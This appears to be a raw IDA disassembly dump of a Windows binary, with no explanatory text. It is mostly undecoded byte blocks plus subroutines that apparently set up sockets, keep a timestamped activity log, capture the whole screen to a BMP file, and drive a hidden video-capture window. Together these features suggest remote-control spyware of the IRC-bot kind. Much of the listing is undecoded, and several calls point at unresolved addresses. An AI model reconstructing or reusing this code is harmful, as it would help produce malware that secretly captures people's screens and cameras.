0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 6F98E8F0h, 5959FFFFh, 0BB7EE856h, 5590022Bh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0CE89000h, 2B0226C4h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CAF18h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D57068h dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 868FFFFh dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 435EE4h, 7160E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh dd 90006A14h, 2BB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h, 4CAFB415h dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 7415FF00h, 66004CAFh, 8DDE4589h, 90500C45h dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7283Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D57068ACh dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h, 223D8966h dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h, 246852FBh dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h dd 4CE308h, 0FFF475FFh, 4CAFD815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 10E890FCh, 2B0226BFh, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch, 0EB00435Fh db 0ACh byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0B4BEE856h dd 5F90022Bh ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6E push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_414C2A ; --------------------------------------------------------------------------- loc_414B6E: ; CODE XREF: ___:00414B58j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CAF1C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CAF5C test eax, eax jnz short loc_414BD2 or eax, 0FFFFFFFFh jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BCBj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDD loc_414BD9: ; CODE XREF: ___:00414BFDj ; ___:00414C21j mov eax, edi jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BDD: ; CODE XREF: ___:00414BD7j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414BFF lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BD9 loc_414BFF: ; CODE XREF: ___:00414BECj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_414BD9 mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2A: ; CODE XREF: ___:00414B69j ; ___:00414BD0j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dword_414C30 dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh, 6AEC4D8Dh dd 26A5104h, 98A35053h, 0FF004CE7h, 4CAF5415h, 0A8358B00h dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CAFF415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh, 6A85E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h, 6A46h dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h dd 0A366286Ah, 4CE73Ch, 0AF7415FFh, 0D80004Ch, 4CE740h dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh dd 7905C600h, 6004CE7h, 0AF7415FFh, 0A366004Ch, 4CE77Ah dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h, 4CBE5905h dd 0BF004CE7h, 4CE77Ch, 421D8966h, 66004CE7h, 0E75C1D89h dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h, 286A5300h dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 64E890FFh, 2B0226B8h, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 25AF5BE8h dd 0FDC2E902h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D130 mov edi, 0B8h loc_4150C8: ; CODE XREF: sub_4150B4+33j cmp byte ptr [esi], 0 jz short loc_4150EB push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EB inc [ebp+var_4] add esi, edi cmp esi, offset dword_43DCB0 jl short loc_4150C8 jmp short loc_41512D ; --------------------------------------------------------------------------- loc_4150EB: ; CODE XREF: sub_4150B4+17j ; sub_4150B4+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D130[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D148[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_429230 pop ebx loc_41512D: ; CODE XREF: sub_4150B4+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436148 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43D130 loc_41515E: ; CODE XREF: sub_415134+72j cmp byte ptr [esi], 0 jz short loc_415199 lea eax, [esi+18h] push eax push esi push edi push offset dword_436134 lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch loc_415199: ; CODE XREF: sub_415134+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43DCB0 jl short loc_41515E pop edi pop esi leave retn sub_415134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AC proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call near ptr 2770578h nop mov ebx, offset dword_4D2B9C mov edi, 80h mov esi, offset dword_4CEB9C loc_4151CE: ; CODE XREF: sub_4151AC+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E5 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E5: ; CODE XREF: sub_4151AC+25j sub ebx, edi cmp ebx, esi jge short loc_4151CE movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415220 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AC add esp, 14h leave retn sub_415220 endp ; =============== S U B R O U T I N E ======================================= sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CEB9C xor ecx, ecx loc_415253: ; CODE XREF: sub_41524C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D2B9C jl short loc_415253 cmp [esp+arg_C], ecx jnz short loc_415281 push ecx push [esp+4+arg_8] push offset dword_436194 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A72 add esp, 14h loc_415281: ; CODE XREF: sub_41524C+19j push offset dword_436180 call sub_4151AC pop ecx retn sub_41524C endp ; --------------------------------------------------------------------------- byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4152E0 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_4361C4 push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_4152E0: ; CODE XREF: ___:004152C0j cmp byte ptr [ebp-98h], 0 jz short loc_415300 lea eax, [ebp-98h] push eax call sub_41B779 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415300 mov [ebp-8], eax loc_415300: ; CODE XREF: ___:004152E7j ; ___:004152FBj and dword ptr [ebp+8], 0 mov esi, offset dword_4CEB9C loc_415309: ; CODE XREF: ___:00415361j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415363 cmp byte ptr [esi], 0 jz short loc_415352 cmp byte ptr [ebp-98h], 0 jz short loc_415338 cmp dword ptr [ebp-4], 0 jnz short loc_415338 lea eax, [ebp-98h] push eax push esi call sub_418086 pop ecx test eax, eax pop ecx jz short loc_415352 loc_415338: ; CODE XREF: ___:0041531Dj ; ___:00415323j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_415352: ; CODE XREF: ___:00415314j ; ___:00415336j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D2B9C jl short loc_415309 loc_415363: ; CODE XREF: ___:0041530Fj lea eax, [ebp-31Ch] push offset dword_4361A8 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539D push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_41539D: ; CODE XREF: ___:0041537Bj lea eax, [ebp-31Ch] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h, 46h, 0ACh ; --------------------------------------------------------------------------- sub eax, [edx] pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CAF60 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F0 push 8 push edi call dword_4CAF7C push 0Ah push edi mov [ebp+var_8], eax call dword_4CAF7C push 0Ch push edi mov [ebp+var_C], eax call dword_4CAF7C cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541E push 18h push edi call dword_4CAF7C mov ebx, 100h jmp short loc_415420 ; --------------------------------------------------------------------------- loc_41541E: ; CODE XREF: sub_4153BC+50j xor ebx, ebx loc_415420: ; CODE XREF: sub_4153BC+60j push edi call dword_4CAFC0 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D5 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CAFB8 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E0 push eax push [ebp+var_4] call dword_4CAE44 cmp eax, esi jz loc_4155E0 cmp eax, 0FFFFFFFFh jz loc_4155E0 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CAFBC test eax, eax jz loc_4155E0 cmp ebx, esi jz short loc_4154DD lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CAE98 mov ebx, eax loc_4154DD: ; CODE XREF: sub_4153BC+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi nop call near ptr 26F0953h cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C0 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 26E0000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call near ptr 26E0000h nop cmp ebx, esi jz short loc_4155A2 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call near ptr 26E0000h nop loc_4155A2: ; CODE XREF: sub_4153BC+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 26E0000h push [ebp+arg_0] nop call near ptr 26518CEh push 1 pop esi loc_4155C0: ; CODE XREF: sub_4153BC+1A2j push [ebp+var_1C] call dword_4CAED0 push [ebp+var_4] call dword_4CAE30 mov edi, [ebp+var_20] loc_4155D5: ; CODE XREF: sub_4153BC+70j push edi call dword_4CAE30 mov eax, esi jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155E0: ; CODE XREF: sub_4153BC+C7j ; sub_4153BC+D9j ... push edi call dword_4CAE30 push [ebp+var_4] call dword_4CAE30 loc_4155F0: ; CODE XREF: sub_4153BC+23j xor eax, eax loc_4155F2: ; CODE XREF: sub_4153BC+222j pop edi pop esi pop ebx leave retn sub_4153BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415635 mov eax, esi jmp loc_4157EB ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4155F7+35j push edi call dword_4CAF14 test eax, eax jz short loc_415652 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_415654 ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_4155F7+47j xor eax, eax loc_415654: ; CODE XREF: sub_4155F7+59j cmp eax, ebx jnz short loc_41565F loc_415658: ; CODE XREF: sub_4155F7+88j ; sub_4155F7+BCj mov ebx, esi jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_41565F: ; CODE XREF: sub_4155F7+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_41567C lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_41567C: ; CODE XREF: sub_4155F7+71j cmp [ebp+var_20], ebx jz short loc_415658 push edi call dword_4CAF14 test eax, eax mov edi, 42Ch jz short loc_4156A2 push ebx push ebx push edi push [ebp+var_4] call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_4156A5 ; --------------------------------------------------------------------------- loc_4156A2: ; CODE XREF: sub_4155F7+98j mov [ebp+arg_4], ebx loc_4156A5: ; CODE XREF: sub_4155F7+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415658 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CC push 1 pop ebx jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155F7+CBj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4156E9 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4156E9: ; CODE XREF: sub_4155F7+E0j push [ebp+arg_4] push 